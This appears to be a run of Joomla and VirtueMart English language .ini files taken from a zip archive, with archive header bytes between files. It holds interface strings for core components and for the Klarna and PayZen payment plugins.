reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MEDIA="Media Manager" COM_MEDIA_XML_DESCRIPTION="Component for managing site media" PK@y>\ph##1language/en-GB/en-GB.plg_vmpayment_payzen.sys.ininuW+AVMPAYMENT_PAYZEN="Vmpayment PayZen"PK@y>\8Ǒ)language/en-GB/en-GB.com_weblinks.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WEBLINKS="Weblinks" COM_WEBLINKS_XML_DESCRIPTION="Component for weblinks management" COM_WEBLINKS_LINKS="Links" COM_WEBLINKS_CATEGORIES="Categories" COM_WEBLINKS_CATEGORY_ADD_TITLE="Category Manager: Add A New Weblinks Category" COM_WEBLINKS_CATEGORY_EDIT_TITLE="Category Manager: Edit A Weblinks Category" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_DESC="Displays a list of weblinks for a category" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_OPTION="Default" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_TITLE="List Web Links in a Category" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_DESC="Show all the web link categories within a category." COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_OPTION="Default" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_TITLE="List All Web Link Categories" COM_WEBLINKS_FORM_VIEW_DEFAULT_DESC="Display a form to submit a web link in the frontend." COM_WEBLINKS_FORM_VIEW_DEFAULT_OPTION="Default" COM_WEBLINKS_FORM_VIEW_DEFAULT_TITLE="Submit a Web Link" PK@y>\k kk>language/en-GB/en-GB.plg_content_avatar_slide_galleria.sys.ininuW+AAVATAR_SLIDE_GALLERIA_DESC="
        The Avatar Slide Galleria Extensions is a slideshow module/plugin base on the Galleria library. Galleria is a JavaScript image gallery framework built on top of the jQuery library. The aim is to simplify the process of creating professional image galleries for the web and mobile devices.

        "PK@y>\yD33&language/en-GB/en-GB.com_users.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_USER_LOGIN_VIEW_DEFAULT_DESC="Displays a Login Form" COM_USER_LOGIN_VIEW_DEFAULT_OPTION="Login Form" COM_USER_LOGIN_VIEW_DEFAULT_TITLE="Login Form" COM_USER_PROFILE_EDIT_DEFAULT_DESC="Edit a User Profile" COM_USER_PROFILE_EDIT_DEFAULT_OPTION="Edit User Profile" COM_USER_PROFILE_EDIT_DEFAULT_TITLE="Edit User Profile" COM_USER_PROFILE_VIEW_DEFAULT_DESC="Displays a User Profile" COM_USER_PROFILE_VIEW_DEFAULT_OPTION="User Profile" COM_USER_PROFILE_VIEW_DEFAULT_TITLE="User Profile" COM_USER_REGISTRATION_VIEW_DEFAULT_DESC="Displays a Registration Form" COM_USER_REGISTRATION_VIEW_DEFAULT_OPTION="Default" COM_USER_REGISTRATION_VIEW_DEFAULT_TITLE="Registration Form" COM_USER_REMIND_VIEW_DEFAULT_DESC="Displays a Username Reminder Request" COM_USER_REMIND_VIEW_DEFAULT_OPTION="Default" COM_USER_REMIND_VIEW_DEFAULT_TITLE="Username Reminder Request" COM_USER_RESET_VIEW_DEFAULT_DESC="Displays a request to Reset Password" COM_USER_RESET_VIEW_DEFAULT_OPTION="Default" COM_USER_RESET_VIEW_DEFAULT_TITLE="Password Reset" COM_USERS="Users Manager" COM_USERS_XML_DESCRIPTION="Component for managing users" PK@y>\/HH-language/en-GB/en-GB.plg_vmpayment_klarna.ininuW+A; ; $Id: en-GB.plg_vmpayment_klarna.ini 7394 2013-11-20 17:24:06Z jjk $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; DO NOT TRANSLATE: http://forum.virtuemart.net/index.php?topic=100525.0 ; VMPAYMENT_KLARNA_PHP_WARNING="Check that your PHP version: it should be any sub-versions of PHP 5.2.x and 5.3.x." ; CONFIGURATION VMPAYMENT_KLARNA_ACTIVATE_INVOICE="Invoice %s has been activated" VMPAYMENT_KLARNA_ADDRESS_CITY="City" VMPAYMENT_KLARNA_ADDRESS_HOMENUMBER="House number" VMPAYMENT_KLARNA_ADDRESS_HOUSENUMBER_ADDITION="Extension" VMPAYMENT_KLARNA_ADDRESS_STREET="Street" VMPAYMENT_KLARNA_ADDRESS_UPDATED_NOTICE="Your shipping address has been updated by Klarna." VMPAYMENT_KLARNA_ADDRESS_ZIP="Zip code" VMPAYMENT_KLARNA_ADVERTISEMENT="Pay as low as %1s with Klarna" VMPAYMENT_KLARNA_BIRTHDAY="Birthday" VMPAYMENT_KLARNA_CAMPAIGN_AGREEMENT="Campaign terms" VMPAYMENT_KLARNA_CANNOT_DELETE="This invoice cannot be deleted in Klarna, it has not been activated" VMPAYMENT_KLARNA_CANNOT_STORE_CONFIG="The safe Path is not set. Cannot store Klarna Configuration. Please go %1$s and fix the value %2$s" VMPAYMENT_KLARNA_COMMENT_PAY_OPTION="Payment choice" VMPAYMENT_KLARNA_COMMENT_PURCHASE_ACCEPTED="Purchase accepted by Klarna" VMPAYMENT_KLARNA_COMMENT_PURCHASE_PENDING="Purchase accepted by Klarna" VMPAYMENT_KLARNA_COMMENT_PURCHASE_REF="Reference" VMPAYMENT_KLARNA_COMPANY_NAME="Company name" VMPAYMENT_KLARNA_COMPANY_NOT_ALLOWED="It seems you have chosen an partpayment option for a company; currently we do not allow any partpayment options for companies." VMPAYMENT_KLARNA_CONF_ACTIVE_COUNTRY="Active Country ?" VMPAYMENT_KLARNA_CONF_ACTIVE_COUNTRY_DESC="Active Country ?" VMPAYMENT_KLARNA_CONF_CANT_WRITE_CONFIG="Could not create/write the file %1s, error returned %2s" VMPAYMENT_KLARNA_CONF_COUNTRIES="Countries" VMPAYMENT_KLARNA_CONF_COUNTRIES_DESC="Select the countries to enable Klarna" VMPAYMENT_KLARNA_CONF_DELETE_ORDER_DENIED="Delete orders denied ?" VMPAYMENT_KLARNA_CONF_DELETE_ORDER_DENIED_DESC="Delete orders that have been denied by Klarna" VMPAYMENT_KLARNA_CONF_EMAIL="By email" VMPAYMENT_KLARNA_CONF_EMAIL_INVOICE="Email invoices by Klarna" VMPAYMENT_KLARNA_CONF_EMAIL_INVOICE_DESC="Invoices will be emailed via Klarna Online (only in case of Invoices). When a part payment purchase is shipped, Klarna will automatically take care of the sendouts of the monthly invoices." VMPAYMENT_KLARNA_CONF_FETCH_PCLASSES="Fetch PClasses" VMPAYMENT_KLARNA_CONF_INVOICE_FEE="Invoice Fee" VMPAYMENT_KLARNA_CONF_INVOICE_FEE_DESC="Invoice Fee in your shop currency" VMPAYMENT_KLARNA_CONF_INVOICE_TAX="Invoice Fee Tax Id" VMPAYMENT_KLARNA_CONF_INVOICE_TAX_DESC="Invoice Fee Tax Id" VMPAYMENT_KLARNA_CONF_MAIL="By mail" VMPAYMENT_KLARNA_CONF_MERCHANT_ID="e-store ID" VMPAYMENT_KLARNA_CONF_MERCHANT_ID_DESC="An e-store ID which refers to your store in Klarna's database" VMPAYMENT_KLARNA_CONF_MINIMUM_AMOUNT_PART="Minimum amount to show part payment" VMPAYMENT_KLARNA_CONF_MINIMUM_AMOUNT_PART_DESC="Minimum amount to show part payment in shop currency" VMPAYMENT_KLARNA_CONF_MODULE="Active Modules" VMPAYMENT_KLARNA_CONF_MODULE_DESC="Active Modules" VMPAYMENT_KLARNA_CONF_MODULE_INVOICE="Klarna Invoice" VMPAYMENT_KLARNA_CONF_MODULE_PARTPAYMENT="Klarna Partpayment" VMPAYMENT_KLARNA_CONF_MODULE_SPECCAMP="Klarna Special Campaign" VMPAYMENT_KLARNA_CONF_NEW_ORDER_STATUS="New order status" VMPAYMENT_KLARNA_CONF_NEW_ORDER_STATUS_DESC="The status that new orders shall have" VMPAYMENT_KLARNA_CONF_NO_PCLASSES="No intalment payment modalities found" VMPAYMENT_KLARNA_CONF_PAYMENTS="Activated payment methods" VMPAYMENT_KLARNA_CONF_PAYMENTS_DESC="Choose the activated payment methods" VMPAYMENT_KLARNA_CONF_PAYMENTS_INVOICE="Invoice" VMPAYMENT_KLARNA_CONF_PAYMENTS_PART="Part payment" VMPAYMENT_KLARNA_CONF_PAYMENT_PAGE="RETURN TO SHOP" VMPAYMENT_KLARNA_CONF_PAYMENT_TITLE="KLARNA PAYMENT MODULE" VMPAYMENT_KLARNA_CONF_PCLASSES="Klarna Payment Classes" VMPAYMENT_KLARNA_CONF_PC_TYPE="Klarna PC Type" VMPAYMENT_KLARNA_CONF_PC_URI="Klarna PC URI" VMPAYMENT_KLARNA_CONF_PRINTOUT="Printout" VMPAYMENT_KLARNA_CONF_SERVER_SETTINGS="SERVER SETTINGS" VMPAYMENT_KLARNA_CONF_SETTINGS_DA="DENMARK" VMPAYMENT_KLARNA_CONF_SETTINGS_DE="GERMANY" VMPAYMENT_KLARNA_CONF_SETTINGS_FI="FINLAND" VMPAYMENT_KLARNA_CONF_SETTINGS_NB="NORWAY" VMPAYMENT_KLARNA_CONF_SETTINGS_NL="THE NETHERLAND" VMPAYMENT_KLARNA_CONF_SETTINGS_SV="SWEDEN" VMPAYMENT_KLARNA_CONF_SHARED_SECRET="Shared Secret" VMPAYMENT_KLARNA_CONF_SHARED_SECRET_DESC="A shared secret used to secure all traffic exchanged by Klarna and your store" VMPAYMENT_KLARNA_CONF_STATUS_DENIED="Order status of denied transaction" VMPAYMENT_KLARNA_CONF_STATUS_DENIED_DESC="Order status of denied transaction" VMPAYMENT_KLARNA_CONF_STATUS_FAILED="Order status Purchase denied" VMPAYMENT_KLARNA_CONF_STATUS_FAILED_DESC="Order status Purchase denied" VMPAYMENT_KLARNA_CONF_STATUS_PENDING="Order status Purchase pending" VMPAYMENT_KLARNA_CONF_STATUS_PENDING_DESC="VirtueMart order status for Credit Check Pending" VMPAYMENT_KLARNA_CONF_STATUS_SHIPPED="Order status to activate the invoice" VMPAYMENT_KLARNA_CONF_STATUS_SHIPPED_DESC="When the goods are to be sent to the customer. Activation means that the store activates the purchase which gives it a due date (usually 14 days for invoice)." VMPAYMENT_KLARNA_CONF_STATUS_SUCCESS="Order status Purchase accepted" VMPAYMENT_KLARNA_CONF_STATUS_SUCCESS_DESC="VirtueMart order status for Credit Check approved" VMPAYMENT_KLARNA_CONF_UPDATE_PCLASSES="Update Pclasses" VMPAYMENT_KLARNA_CONSENT="Mit der Übermittlung der für die Abwicklung des Rechnungskaufes und einer Identitäts- und Bonitätsprüfung erforderlichen Daten an Klarna bin ich einverstanden. Meine Einwilligung kann ich jederzeit mit Wirkung für die Zukunft widerrufen." VMPAYMENT_KLARNA_CURL_LIBRARY_INSTALLED="CURL library installed. You can use Klarna payment plugin." VMPAYMENT_KLARNA_CURL_LIBRARY_NOT_INSTALLED="WARNING:
        This payment plugin KLARNA mode needs the CURL library to be installed. This library seems not available on your server. Please contact your web hosting.
        " VMPAYMENT_KLARNA_DATE="Date" VMPAYMENT_KLARNA_DATE_DAY="Day" VMPAYMENT_KLARNA_DATE_MONTH="Month" VMPAYMENT_KLARNA_DATE_YEAR="Year" VMPAYMENT_KLARNA_DELIVERY_ADDRESS="Delivery address" VMPAYMENT_KLARNA_DISCOUNT="Discount" VMPAYMENT_KLARNA_DOCUMENTATION="Documentation" VMPAYMENT_KLARNA_DOWNLOAD_INVOICE="Download Klarna Invoice" VMPAYMENT_KLARNA_EID="E-store ID" VMPAYMENT_KLARNA_EMAIL="Email" VMPAYMENT_KLARNA_EMAIL_ADDRESS="Email" VMPAYMENT_KLARNA_EMAIL_INVOICE="Invoice %s will be emailed by Klarna" VMPAYMENT_KLARNA_EMAIL_INVOICE_NOT_SENT="Invoice is NOT emailed by Klarna" VMPAYMENT_KLARNA_ERROR_CURRENCY="Invalid currency set" VMPAYMENT_KLARNA_ERROR_KLARNA_TITLE="Klarna Invoice Error" VMPAYMENT_KLARNA_ERROR_NO_ADDRESS="No address found" VMPAYMENT_KLARNA_ERROR_NO_DATA="No Klarna data found for this order id: %d" VMPAYMENT_KLARNA_ERROR_SAVE_INPUTVALUE="Could not save the details you send." VMPAYMENT_KLARNA_ERROR_SHIPPING_MUST_MATCH_BILLING="Your shipping address must be the same as your billing address." VMPAYMENT_KLARNA_ERROR_TITLE_1="Sorry, but we could not verify the following information:" VMPAYMENT_KLARNA_ERROR_TITLE_2="Please check your personal details:" VMPAYMENT_KLARNA_FIRST_NAME="First name" VMPAYMENT_KLARNA_FORMAT_INVOICEFEE_NOT_INCLUDED="An Invoice fee of %s will be added" VMPAYMENT_KLARNA_GET_KLARNA_SHOW="Get Klarna now" VMPAYMENT_KLARNA_GET_NEW_STATUS="Get Klarna Order Status" VMPAYMENT_KLARNA_GET_SWEDISH_ADDRESS="If you don't want to ship to Sweden, and pay with Klarna, Edit your address first" VMPAYMENT_KLARNA_IMG_LOGO_INVOICE="Klarna Invoice" VMPAYMENT_KLARNA_IMG_LOGO_PART="Klarna Account" VMPAYMENT_KLARNA_IMG_LOGO_SPEC="Klarna Special Campaign" VMPAYMENT_KLARNA_INVOICE_CONFIRM_DESCRIPTION="www.klarna.com" VMPAYMENT_KLARNA_INVOICE_CREATED_SUCCESSFULLY="Invoice with invoice number %s created successfully at Klarna" VMPAYMENT_KLARNA_INVOICE_DELETED="Invoice has been deleted successfully at Klarna" VMPAYMENT_KLARNA_INVOICE_FEE_TITLE="Invoice fee" VMPAYMENT_KLARNA_INVOICE_NO="Invoice number" VMPAYMENT_KLARNA_INVOICE_NOT_DOWNLOADED="Invoice not downloaded" VMPAYMENT_KLARNA_INVOICE_NUMBER_TEXT="Klarna Invoice Number" VMPAYMENT_KLARNA_INVOICE_STRING="Invoice" VMPAYMENT_KLARNA_INVOICE_TEXT_DESCRIPTION="Swedish invoice from Klarna" VMPAYMENT_KLARNA_INVOICE_TITLE="Klarna Invoice - Pay within 14 days (+%s)" VMPAYMENT_KLARNA_INVOICE_TITLE_NO_PRICE="Klarna Invoice - Pay within 14 days" VMPAYMENT_KLARNA_INVOICE_TYPE="Type" VMPAYMENT_KLARNA_INVOICE_TYPE_COMPANY="Company" VMPAYMENT_KLARNA_INVOICE_TYPE_PRIVATE="Private person" VMPAYMENT_KLARNA_IS_ACTIVATE_INVOICE="Active Invoice" VMPAYMENT_KLARNA_KLARNA_INVOICE_AGREEMENT="Invoice terms" VMPAYMENT_KLARNA_KLARNA_PART_AGREEMENT="Terms and Conditions for Klarna Account" VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_DE="You have chosen the German method of payment. Please note that this is just a translated representation of the German payment system's functionality. Change your currency and country, if you want to show payment for your country." VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_DK="You have chosen the Danish method of payment. Please note that this is just a translated representation of the Danish payment system's functionality. Change your currency and country, if you want to show payment for your country." VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_FI="You have chosen the Finish method of payment. Please note that this is just a translated representation of the Finish payment system's functionality. Change your currency and country, if you want to show payment for your country." VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_NL="You have chosen the Dutch method of payment. Please note that this is just a translated representation of the Dutch payment system's functionality. Change your currency and country, if you want to show payment for your country." VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_NO="You have chosen the Norwegian method of payment. Please note that this is just a translated representation of the Norwegian payment system's functionality. Change your currency and country, if you want to show payment for your country." VMPAYMENT_KLARNA_LANGUAGESETTING_NOTE_SE="You have chosen the Swedish payment method. Please note that this is only a translated representation of the Swedish payment functionality. Change your currency and country if you would like to show the payment option suited for your country." VMPAYMENT_KLARNA_LAST_NAME="Last name" VMPAYMENT_KLARNA_LOG="Log" VMPAYMENT_KLARNA_MISSING_DATA="Please enter fill in all the fields" VMPAYMENT_KLARNA_MOBILE_CLOSE="Close" VMPAYMENT_KLARNA_MOBILE_MOBILE_CODE="XXXX" VMPAYMENT_KLARNA_MOBILE_PHONE="Mobile phone:" VMPAYMENT_KLARNA_MOBILE_PHONE_NUMBER="Mobile phone" VMPAYMENT_KLARNA_MOBILE_WHOOPS="Whoops!" VMPAYMENT_KLARNA_MODULE_INVOICE_TEXT_TITLE="Klarna Invoice" VMPAYMENT_KLARNA_MODULE_PARTPAY_TEXT_TITLE="Klarna Part Payment" VMPAYMENT_KLARNA_MODULE_SPEC_TEXT_TITLE="Klarna Special Campaigns" VMPAYMENT_KLARNA_MODULE_TESTMODE="(TESTMODE)" VMPAYMENT_KLARNA_MONTH_10="October" VMPAYMENT_KLARNA_MONTH_11="November" VMPAYMENT_KLARNA_MONTH_12="December" VMPAYMENT_KLARNA_MONTH_1="January" VMPAYMENT_KLARNA_MONTH_2="February" VMPAYMENT_KLARNA_MONTH_3="March" VMPAYMENT_KLARNA_MONTH_4="April" VMPAYMENT_KLARNA_MONTH_5="May" VMPAYMENT_KLARNA_MONTH_6="June" VMPAYMENT_KLARNA_MONTH_7="July" VMPAYMENT_KLARNA_MONTH_8="August" VMPAYMENT_KLARNA_MONTH_9="September" VMPAYMENT_KLARNA_MUST_VALID_PNO="You have entered the wrong Social Security number. Please check and try again" VMPAYMENT_KLARNA_NOTICE_BILLING_SAME_AS_SHIPPING="Your billing address will be overwritten with your shipping address" VMPAYMENT_KLARNA_NOTICE_CITY="Please submit your city." VMPAYMENT_KLARNA_NOTICE_COMPANYNAME="companyName notice" VMPAYMENT_KLARNA_NOTICE_EMAIL="Please submit your email" VMPAYMENT_KLARNA_NOTICE_EMAIL_ADDRESS="Enter Email" VMPAYMENT_KLARNA_NOTICE_FIRSTNAME="Your first name" VMPAYMENT_KLARNA_NOTICE_HOUSENUMBER="Please submit your house number." VMPAYMENT_KLARNA_NOTICE_HOUSE_EXTENSION="Please submit your house extension here. E.g. A, B, C, Red, Blue ect." VMPAYMENT_KLARNA_NOTICE_LASTNAME="Enter your surname here" VMPAYMENT_KLARNA_NOTICE_MOBILEPHONE="Please submit your mobile phone." VMPAYMENT_KLARNA_NOTICE_PHONENUMBER="Please submit your phone number" VMPAYMENT_KLARNA_NOTICE_REFERENCE="Reference notice" VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_DK="Please enter your social security number here according to the following example: DDMMYYNNNN." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_FI="Please enter your social security number here according to the following example: DDMMYY-NNNN." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_NO="Please enter your social security number here according to the following example: DDMMYY-NNNNN." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_PART_DK="Please enter your social security number here." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_PART_FI="Please enter your social security number here." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_PART_NO="Please enter your social security number here." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_PART_SE="Please enter your social security number here." VMPAYMENT_KLARNA_NOTICE_SOCIALNUMBER_SE="Please enter your social security number here according to the following example: YYMMDD-NNNN." VMPAYMENT_KLARNA_NOTICE_STREETADDRESS="Please note that delivery can only take place to the registered address when paying with Klarna" VMPAYMENT_KLARNA_NOTICE_YEAR_SALARY_DKK="Your yearly salary in Dansk krone before tax" VMPAYMENT_KLARNA_NOTICE_YEAR_SALARY_EUR="Your yearly salary in Euro before tax" VMPAYMENT_KLARNA_NOTICE_YEAR_SALARY_NOK="Your yearly salary in Norwegian Crowns before tax" VMPAYMENT_KLARNA_NOTICE_YEAR_SALARY_SEK="Your yearly salary in Swedish Crowns before tax" VMPAYMENT_KLARNA_NOTICE_ZIP="Please submit your zip code." VMPAYMENT_KLARNA_NO_ACTIVATE_INVOICE_TEST="activateInvoice function call cannot activate an invoice created in test mode." VMPAYMENT_KLARNA_NO_CONSENT="Bitte geben Sie Ihre Einwilligung zur Datenübermittlung." VMPAYMENT_KLARNA_NO_GETADDRESS="Impossible to retrieve your address. Please use another payment method" VMPAYMENT_KLARNA_NO_GET_ADDRESS="No address found. Please enter your social security number, this will update your address automatically" VMPAYMENT_KLARNA_ORDER_STATUS_TEXT_1="Accepted" VMPAYMENT_KLARNA_ORDER_STATUS_TEXT_2="Pending" VMPAYMENT_KLARNA_ORDER_STATUS_TEXT_3="Denied" VMPAYMENT_KLARNA_ORDER_TITLE="Order title" VMPAYMENT_KLARNA_ORGANISATION_NUMBER="Organisation number:" VMPAYMENT_KLARNA_OT_KLARNA_DESCRIPTION="Klarna Invoice fee" VMPAYMENT_KLARNA_OT_KLARNA_TITLE="Faktureringsavgift" VMPAYMENT_KLARNA_PARTPAY_CONFIRM_DESCRIPTION="www.klarna.com" VMPAYMENT_KLARNA_PARTPAY_TEXT_DESCRIPTION="Swedish part payment options from Klarna" VMPAYMENT_KLARNA_PARTPAY_TITLE="Part payment option from %s/month" VMPAYMENT_KLARNA_PARTPAY_TITLE_NOSUM="Part payment option from Klarna AB" VMPAYMENT_KLARNA_PART_PAYMENT="Part payment options" VMPAYMENT_KLARNA_PAYMENT_ACCEPTED="Payment is accepted by Klarna" VMPAYMENT_KLARNA_PAYMENT_CHECK_ORDER_STATUS="Check Klarna Order Status" VMPAYMENT_KLARNA_PAYMENT_CURRENCY_INFO="Klarna purchases are always processed in your local currency" VMPAYMENT_KLARNA_PAYMENT_KLARNA_STATUS_DENIED="Order is DENIED by Klarna" VMPAYMENT_KLARNA_PAYMENT_KLARNA_STATUS_PENDING="Order is PENDING APPROVAL by Klarna" VMPAYMENT_KLARNA_PAYMENT_NAME="Payment name" VMPAYMENT_KLARNA_PAYMENT_NOT_ACCEPTED="Payment is refused by Klarna" VMPAYMENT_KLARNA_PAYMENT_PENDING="Payment is pending by Klarna" VMPAYMENT_KLARNA_PCLASS="Pclass" VMPAYMENT_KLARNA_PCLASS_COUNTRY="Country" VMPAYMENT_KLARNA_PCLASS_DESCRIPTION="Description" VMPAYMENT_KLARNA_PCLASS_HANDLING_FEE="Handling fee" VMPAYMENT_KLARNA_PCLASS_ID="Id" VMPAYMENT_KLARNA_PCLASS_INTEREST="Interest" VMPAYMENT_KLARNA_PCLASS_MIN_AMOUNT="Min amount" VMPAYMENT_KLARNA_PCLASS_MONTHS="Months" VMPAYMENT_KLARNA_PCLASS_START_FEE="Start fee" VMPAYMENT_KLARNA_PDF_INVOICE="Invoice" VMPAYMENT_KLARNA_PERSONALORORGANISATIO_NUMBER="Persnr / Orgnr" VMPAYMENT_KLARNA_PERSON_NUMBER="Person number:" VMPAYMENT_KLARNA_PER_MONTH="/ month" VMPAYMENT_KLARNA_PHONE_NUMBER="Phone number" VMPAYMENT_KLARNA_PPBOX_ACCOUNT="Account" VMPAYMENT_KLARNA_PPBOX_FROMTEXT="From" VMPAYMENT_KLARNA_PPBOX_MONTHTEXT="/month" VMPAYMENT_KLARNA_PPBOX_READMORE="More information" VMPAYMENT_KLARNA_PPBOX_TH_MONTH="Months" VMPAYMENT_KLARNA_PPBOX_TH_SUM="Sum/month" VMPAYMENT_KLARNA_PRODUCTDISCOUNT="Discount" VMPAYMENT_KLARNA_REFERENCE="Reference" VMPAYMENT_KLARNA_REQUIRED_BIRTHDAY="Birthday" VMPAYMENT_KLARNA_REQUIRED_HOUSE_NO="House number" VMPAYMENT_KLARNA_REQUIRED_SOCIALNUMBER="Social Number" VMPAYMENT_KLARNA_REQUIRED_USERFIELDS_CREATE_OK="Userfield required for Klarna created " VMPAYMENT_KLARNA_REQUIRED_USERFIELDS_ERROR_STORING="Error while create userfield " VMPAYMENT_KLARNA_REQUIRED_USERFIELDS_NOT_FOUND="The shopperfield(s) %s is/are not found or is/are not published, and is/are required for Klarna" VMPAYMENT_KLARNA_REQUIRED_USERFIELDS_OK="ALL required shopperfields for Klarna were found and published" VMPAYMENT_KLARNA_SEX="Sex" VMPAYMENT_KLARNA_SEX_FEMALE="Female" VMPAYMENT_KLARNA_SEX_MALE="Male" VMPAYMENT_KLARNA_SHIPMENT="Shipment" VMPAYMENT_KLARNA_SHIPTO_SAME_AS_BILLTO="You choose Klarna payment method. Your shipping address is overwritten with billing address." VMPAYMENT_KLARNA_SHOW_CONSENT="(Show agreement)" VMPAYMENT_KLARNA_SOCIALSECURITYNUMBER="Social security number" VMPAYMENT_KLARNA_SPEC_CONFIRM_DESCRIPTION="www.klarna.com" VMPAYMENT_KLARNA_SPEC_PAYMENT="Campaign options" VMPAYMENT_KLARNA_SPEC_TEXT_DESCRIPTION="Special Campaigns from Klarna" VMPAYMENT_KLARNA_SPEC_TITLE="Special campaign from Klarna AB" VMPAYMENT_KLARNA_STATUS_CODE="Order status code" VMPAYMENT_KLARNA_STATUS_TEXT="Order status text" VMPAYMENT_KLARNA_STREET_ADRESS="Street address" VMPAYMENT_KLARNA_SWE_EDIT_PAYMENT="Click here for fast checkout with Klarna (Swedish only)" VMPAYMENT_KLARNA_VIEW_INVOICE="View Invoice" VMPAYMENT_KLARNA_WARNING="Klarna's payment option is in demo mode. Your order will not be processed. (if you are the shop owner and you have already signed up with Klarna, please enter your credentials in Klarna's payment configuration page)" VMPAYMENT_KLARNA_YEAR_SALARY="Your yearly salary" ; KLARNA ITSELFPK@y>\]w%language/en-GB/en-GB.com_xmap.sys.ininuW+A; $Id$ ; Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved. ; GNU General Public License version 2 or later; see LICENSE.txt ; Guillermo Vargas (guille@vargas.co.cr) ; COM_XMAP="Xmap" COM_XMAP_TITLE="Xmap" ; ; View and layout titles and descriptions ; COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_TITLE="HTML Site map" COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_DESC="Display a Site map in HTML format" COM_XMAP_SITEMAP_XML_VIEW_DEFAULT_TITLE="XML Sitemap" COM_XMAP_SITEMAP_XML_VIEW_DEFAULT_DESC="Display an Site map in XML format" COM_XMAP_SELECT_AN_SITEMAP="Choose a site map" COM_XMAP_SELECT_A_SITEMAP="A site map" COM_XMAP_CHANGE_SITEMAP_BUTTON="Change" COM_XMAP_CHANGE_SITEMAP="Select a site map from the list" COM_INSTALLER_TYPE_XMAP_EXT="Xmap Extension" COM_XMAP_ATTRIBS_SITEMAP_SETTINGS_LABEL="Sitemap Settings" COM_XMAP_INCLUDE_CSS_LABEL="Include Xmap's Style" COM_XMAP_INCLUDE_CSS_DESC="Select yes to include the CSS file with the styles for the sitemap"PK@y>\NFa'language/en-GB/en-GB.plg_system_sef.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEF_XML_DESCRIPTION="Adds SEF support to links in the document. It operates directly on the HTML and does not require a special tag." PLG_SYSTEM_SEF="System - SEF"PK@y>\"kCC+language/en-GB/en-GB.com_categories.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CATEGORIES="Categories" COM_CATEGORIES_XML_DESCRIPTION="This component manages categories" PK@y>\su5language/en-GB/en-GB.plg_vmpayment_klarnacheckout.ininuW+A; ; $Id: en-GB.plg_vmpayment_klarnacheckout.ini 7337 2013-11-05 11:13:52Z alatak $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; DO NOT TRANSLATE: http://forum.virtuemart.net/index.php?topic=100525.0 ; ; CONFIGURATION VMPAYMENT_KLARNACHECKOUT_ERROR_AMOUNTS_SUBJECT="Error with Klarna checkout" VMPAYMENT_KLARNACHECKOUT_COUNTRY="Country" VMPAYMENT_KLARNACHECKOUT_WARNING="In order to benefit of the fast checkout procedure, the shop must be configurated with the One Page Checkout option enabled.
        Go to Configuration > Configuration, and select the tab Checkout" VMPAYMENT_KLARNACHECKOUT_ORDER_STATUS="ORDER STATUS" VMPAYMENT_KLARNACHECKOUT_RESTRICTIONS="PAYMENT RESTRICTIONS" VMPAYMENT_KLARNACHECKOUT_LOGOS="Display Klarna Logo" VMPAYMENT_KLARNACHECKOUT_LOGOS_DESC="Add the Klarna Logo to the payment method name" VMPAYMENT_KLARNACHECKOUT_SERVER="Server" VMPAYMENT_KLARNACHECKOUT_SERVER_BETA="Beta" VMPAYMENT_KLARNACHECKOUT_SERVER_LIVE="Live" VMPAYMENT_KLARNACHECKOUT_LOCALE="Payment form language" VMPAYMENT_KLARNACHECKOUT_LOCALE_DESC="Locale indicative for language. Must match Klarna requirements: https://docs.klarna.com/en/rest-api#supported_locales" VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED="An error occurred with the payment %s. Please choose another payment method" VMPAYMENT_KLARNACHECKOUT_DEBUG="Klarna Checkout Debug" VMPAYMENT_KLARNACHECKOUT_DEBUG_DESC="When Debug is enabled, debug infos will also be logged in a file placed in the log folder." VMPAYMENT_KLARNACHECKOUT_VIEW_INVOICE="View Packing slip" VMPAYMENT_KLARNACHECKOUT_PRODUCTDISCOUNT="discount" VMPAYMENT_KLARNACHECKOUT_CHECKOUT_COMPLETE="Order status order confirmed" VMPAYMENT_KLARNACHECKOUT_CHECKOUT_COMPLETE_DESC="Order status when the order is confirmed by Klarna" 